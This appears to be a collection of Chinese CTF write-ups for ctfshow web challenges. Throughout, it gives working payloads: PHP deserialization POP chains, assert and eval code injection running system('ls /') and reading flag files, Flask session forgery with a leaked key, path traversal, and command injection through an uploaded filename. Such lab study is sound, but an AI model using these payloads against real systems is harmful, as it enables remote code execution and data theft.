ctfshow 小舔田?
<?php
include "flag.php";
highlight_file(__FILE__);class Moon{public $name="月亮";public function __toString(){return $this->name;}public function __wakeup(){echo "我是".$this->name."快来赏我";}
}class Ion_Fan_Princess{public $nickname="牛夫人";public function call(){global $flag;if ($this->nickname=="小甜甜"){echo $flag;}else{echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";}}public function __toString(){$this->call();return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;}
}if (isset($_GET['code'])){unserialize($_GET['code']);}else{$a=new Ion_Fan_Princess();echo $a;
}
一个经典的php反序列化,有点小复杂比较绕,总得来说就是要调用call()函数输出flag,输出flag的前提是 Ion_Fan_Princess类中的nickname为"小甜甜",然而 Ion_Fan_Princess类中的_toString()函数调用了call()方法,
然而我们是可以通过一个类的_toStrng方法去调用另外一个类中的_toString方法,那么我们就可以将创建的Moon类中的name属性设置为 Ion_Fan_Princess对象(在PHP中完全可以将一个对象的属性设置为另一个对象)
那么可以得出思路
- 创建一个
<font style="color:rgb(64, 64, 64);">Moon</font>
对象,将其<font style="color:rgb(64, 64, 64);">name</font>
属性设置为<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>
对象 - 设置
<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>
对象的<font style="color:rgb(64, 64, 64);">nickname</font>
为"小甜甜" - 序列化这个
<font style="color:rgb(64, 64, 64);">Moon</font>
对象并通过<font style="color:rgb(64, 64, 64);">code</font>
参数传递 - 得到序列化后的pop链
- 当反序列化这个pop链时:
- 会先调用
<font style="color:rgb(64, 64, 64);">Moon</font>
的<font style="color:rgb(64, 64, 64);">__wakeup</font>
方法 <font style="color:rgb(64, 64, 64);">__wakeup</font>
方法中<font style="color:rgb(64, 64, 64);">echo "我是".$this->name."快来赏我";</font>
会尝试将<font style="color:rgb(64, 64, 64);">$this->name</font>
(即<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>
对象)当作字符串使用- 这会触发
<font style="color:rgb(64, 64, 64);">Ion_Fan_Princess</font>
的<font style="color:rgb(64, 64, 64);">__toString</font>
方法 <font style="color:rgb(64, 64, 64);">__toString</font>
方法调用<font style="color:rgb(64, 64, 64);">call()</font>
方法- 因为
<font style="color:rgb(64, 64, 64);">nickname</font>
是"小甜甜",所以会输出flag
ctfshow 一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
}
这个代码会检查是否存在GET传参num,传入的num值是否为114514(好啊,来啊)(松散判断,可以加入非数字字符绕过),assert函数会判断为真还是为假,当如果参数是字符串,PHP 会将其作为 PHP 代码动态执行。如果参数是表达式,PHP 会直接计算其值。
如果get传参为1919810(要去了,野兽!)即可,但是前面又要求num值为114514,逻辑上是不成立的,但是php在动态解析数字表达式的时候,遇到非数字字符就会直接停止解析, 而且assert函数会直接计算数字表达式,那我们只要直接构造payload
:::info
?num=114514%2b1805296
:::
%2b是+的url编码,上面的payload在表达式"if ($_GET['num'] == 114514)"中,会直接输出114514(遇到非数字字符直接停止解析),在表达式"assert("intval($_GET[num])==1919810")"中,由于assert函数会将字符串作为代码动态执行,所以会直接计算num的值,得到num为1919810,综上即可得到答案
ctfshow 抽老婆
进入题目,AUV,这不是蔚蓝档案的小春吗,扫了目录但是没什么线索,看看源码喵
可以利用get参数访问文件,感觉可能是文件包含,看看能不能用伪协议直接看flag.php
看来这是被过滤了,那不看flag.php了,我随便看看什么图片吧
可以看到直接报错了,报错信息中可以得知这个网站使用flask框架写的,,看看能不能下载app.py来看题目源码
看来不能直接下载,使用相对路径看看
成功了,打开看看
# !/usr/bin/env python
# -*-coding:utf-8 -*-"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""from flask import *
import os
import random
from flag import flag#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'@app.route('/', methods=['GET'])
def index(): return render_template('index.html')@app.route('/getwifi', methods=['GET'])
def getwifi():session['isadmin']=Falsewifi=random.choice(os.listdir('static/img'))session['current_wifi']=wifireturn render_template('getwifi.html',wifi=wifi)@app.route('/download', methods=['GET'])
def source(): filename=request.args.get('file')if 'flag' in filename:return jsonify({"msg":"你想干什么?"})else:return send_file('static/img/'+filename,as_attachment=True)@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():if session['isadmin']:return jsonify({"msg":flag})else:return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=True)
这段代码中使用了多个引用,可以看到'/secret_path_U_never_know'路径中,存在一个session验证,如果session中的isadmin为true的话就会输出flag,那我们就可以尝试一下flask的session伪造,构造一个isadmin为true的session上传即可,密钥在源码中也给出来了
利用burp抓包看看本来的session长什么样(非常奇怪,不知道为什么这个页面抓包只有老版本的burp抓包会显示cookie,其他抓包软件比如yakit,新版本的burp都不会显示)
使用flask-session-cookie-manager-master工具伪造session
这样就可以得到伪造的session了
成功解出题目
ctfshow 传说之下(雾)
这边直接修改前段源码看会不会给flag
不行,一吃新豆子就会刷新非常难受兄弟
继续看源码也没看出来什么名堂
控制台告诉我达到2077就可以直接给我flag,但是不能修改前段代码,那我能不能尝试修改游戏的源码呢
猜测这个函数的意义就是每吃到一颗豆子就可以加一分,那我直接修改一个大的
欧克啊,直接保存一下,再玩会游戏
有点小阴险,不是页面直接弹窗给你而是写在控制台里面
ctfshow 化零为整
<?phphighlight_file(__FILE__);
include "flag.php";$result='';for ($i=1;$i<=count($_GET);$i++){if (strlen($_GET[$i])>1){die("你太长了!!");}else{$result=$result.$_GET[$i];}
}if ($result ==="大牛"){echo $flag;
}
代码审计,设置一个result变量为空,for循环遍历GET数组里面每一个参数,如果某一个参数长度大于一,输出“你太长了!!”,结束代码。如果每个参数都满足长度小于等于一的情况,则将参数的值拼接到result变量(应该就是字符串)后,最后检查result变量是否强等于"大牛",既检查变量类型,又检查变量的值。
特别注意的一个点
这里其实规定了get数组里面的参数名称。$i规定了为1到get数组的长度,那里面的键就只能为1,2,3,4.....这种,这里特别注意,我写题的时候随便设置一些字母作为get参数导致报错
还要注意的一个点是
- 在 PHP 中,
<font style="color:rgb(64, 64, 64);">strlen()</font>
函数计算的是字节数,而不是字符数。 - 对于 UTF-8 编码的中文字符,每个中文字符占用 3 个字节。因此,
<font style="color:rgb(64, 64, 64);">strlen("大")</font>
和<font style="color:rgb(64, 64, 64);">strlen("牛")</font>
的结果是 3,而不是 1。
所以这里我们传参就需要提前把字符串转化为url编码
:::info
?1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b
:::
ctfshow 我的眼里只有$
php extract函数解释
php中的extract()函数,创造一个符号表,允许将传进来的数组键名作为变量名,使用数组键值作为变量值,而且如果变量已经存在,会覆盖原来的变量
php****
<?php
extract($_POST);
echo $a; // 输出用户输入的a字段的值
echo $b; // 输出用户输入的b字段的值
?>
如果用户输入 a=1
和 b=2
并提交表单,输出将是:
复制
1
2
这是因为 extract($_POST);
从 $_POST
数组中提取 a
和 b
,并将它们作为变量 $a
和 $b
导入到当前符号表中。
题解
学习完这个函数后我们看这个源码,可以看到我们每传入一个变量比如a,它在符号表中就会被加上一个$的前缀,例如,我们传入_=a,在符号表中就会变为$=a,如果我们再传入一个a=b,那么就会变为$$=b,然而这里的eval函数中存在36个$前缀,如果嫌麻烦可以自行编写脚本,难度不高。在这里我直接给出payload
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w
&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s
&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('cat /f1agaaa');
即可得出答案
不得不说这些题确实花里胡哨的
ctfshow TapTapTap
又是这种游戏,那么大概率在页面源码里面能找到什么信息
每个可以点的连接都点了一遍,发现这个玩意给我下载了一个js文件,打开一看
看了一遍就觉得这两行代码可疑,看着像base64编码,解码一下看看
成功找到flag,当然如果你厉害的话直接闯过20关也会直接给你flag
ctfshow web2 c0me_t0_s1gn
打开源码看看
给了提示,让我看看控制台
让我运行g1ve_flag()来获得flag那就试试
到此,flag就出来了
ctfshow webshell
<?php error_reporting(0); // 关闭错误报告class Webshell { // Webshell类public $cmd = 'echo "Hello World!"'; // 公有变量cmd为字符串echo "Hello World!"public function __construct() { // 公有构造函数,创建新对象前调用$this->init(); // 变量this调用init函数}public function init() { // 公有函数init// 如果在变量this调用的cmd中未匹配到由大写或小写字母组成的子串“flag”if (!preg_match('/flag/i', $this->cmd)) {$this->exec($this->cmd); // 变量this调用exec函数 传入this调用cmd的返回值}}public function exec($cmd) { // 公有函数exec$result = shell_exec($cmd); // 变量result接受cmd执行shell命令返回的字符串形式echo $result; // 输出result}}if(isset($_GET['cmd'])) { // 如果get请求传入的cmd值存在且非空$serializecmd = $_GET['cmd']; // 变量serializecmd接收get请求传入的cmd值// 变量unserializecmd接收变量serializecmd反序列化的结果$unserializecmd = unserialize($serializecmd);$unserializecmd->init(); // 变量unserializecmd调用init函数}else { // 否则highlight_file(__FILE__); // 高亮显示当前文件}?>
首先我们尝试向 cmd 传入 ls 命令查询当前目录下的文件,既然是由 shell_exec 函数处理命令就不需要使用 system() 了。
因为文件名含有字符串 flag,按 init 函数的过滤规则不能直接 <font style="color:rgb(21, 167, 167);">cat flag.php</font>
,这里采用模糊匹配 <font style="color:rgb(21, 167, 167);">cat f*</font>
打开唯一符合条件的文件 flag.php,序列化值为 <font style="color:rgb(21, 167, 167);">O:8:"Webshell":1:{s:3:"cmd";s:6:"cat fl*";}</font>
这里我卡了好久,理应是出flag了的,后面问了大佬才知道使用 cat 命令打开文件无法直接输出文件内容的原因是:浏览器只获取服务器生成的 html 文件,而 flag 文件是 php 文件,浏览器无法直接识别 php 文件,只能将其转换为注释。所以我们得查看html文件才能得到flag
但是不知道为什么cat逆序输出就可以直接显示在界面上
ctfshow 茶歇区
首先试试看改前段代码能不能直接修改分数获得flag
这么看来不行,只给fp余额1024不可能达到114514分,那就试试整数溢出漏洞,先尝试一个非常大的数字
可以看到余额一下变得特别多,但问题是分数也变得奇小无比
当我尝试19位9罐咖啡的时候积分为零,这里看到"9223372036854775807"这个数字,貌似是int64位的最大数字,果然还是存在溢出的,但是溢出过多貌似也没用,而且一罐咖啡能加十分,那就试一下传18位9罐咖啡,正好大于9223372036854775807这个数字,flag就直接出来了
多次尝试后发现,只要是第一次传入的数字大于9223372036854775807多一点,如果是咖啡的话就得是18位,其他的随意(不过矿泉水和大火腿对数据有限制建议不要用)那么获得的余额会非常大,再尝试一次相同的数字就可以满足分数大于114514的要求爆flag了
ctfshow LSB探姬
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index(): return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':try:f = request.files['file']f.save('upload/'+f.filename)cmd="python3 tsteg.py upload/"+f.filenameresult=os.popen(cmd).read()data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}return jsonify(data)except:data={"code":1,"message":"file upload error!"}return jsonify(data)else:return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():return render_template('source.html')
if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)
查看题目源码,发现是直接将上传的文件名拼接到路径后面,这样我们就可以进行命令注入,在文件名后加上;"命令"
原理
在 Unix/Linux shell 中:
- 分号
<font style="color:rgb(64, 64, 64);">;</font>
是命令分隔符,允许在一行中执行多个命令 - 管道
<font style="color:rgb(64, 64, 64);">|</font>
、重定向<font style="color:rgb(64, 64, 64);">></font>
、<font style="color:rgb(64, 64, 64);"><</font>
等符号也可以被利用 - 反引号
<font style="color:rgb(64, 64, 64);">
<font style="color:rgb(64, 64, 64);"> 或 </font>
$()` 可以用来执行子命令
:::info
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
:::
可以知道flag就在flag.py里面
ctfshow-菜狗杯-web签到
主要就是最后这个一句话木马的利用,嵌套的有点多,来理一下:
首先最里面是‘CTFshow-QQ群’,前面是$_COOKIE,也就是取的是cookie中‘CTFshow-QQ群’的值;那如果我们在cookie中传入CTFshow-QQ群=a,那么一句话木马就变成了:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
那么$_POST[a]就是要以POST方式传入的a参数的值,我们将传入的a=b,那么就变为了:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b]也就是要以GET方式来传入b参数的值,我们再给b赋值b=c,就得到:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4],其中$_REQUEST是以任何一种方式请求都可以,c为数组,$_REQUEST请求中传入的值是取的C数组中ID键为[6][0][7][5][8][0][9][4][4]的值。因为PHP数组是可以指定ID键分配值的,那么我们就可以给C数组中的这些键直接赋值:c[6][0][7][5][8][0][9][4][4]= system('ls /');
于是我们用POST形式发包,同时注意“群”要用url编码,否则burp不识别(给c赋值时可以放在请求头也可以放在请求实体中,因为request请求方式无论是用get还是post形式都可以接受,这里放在了请求实体中):
Cookie: CTFshow-QQ%E7%BE%A4:=a
可以看到根目录下的文件,但是可以得知flag就在f1agaaa里面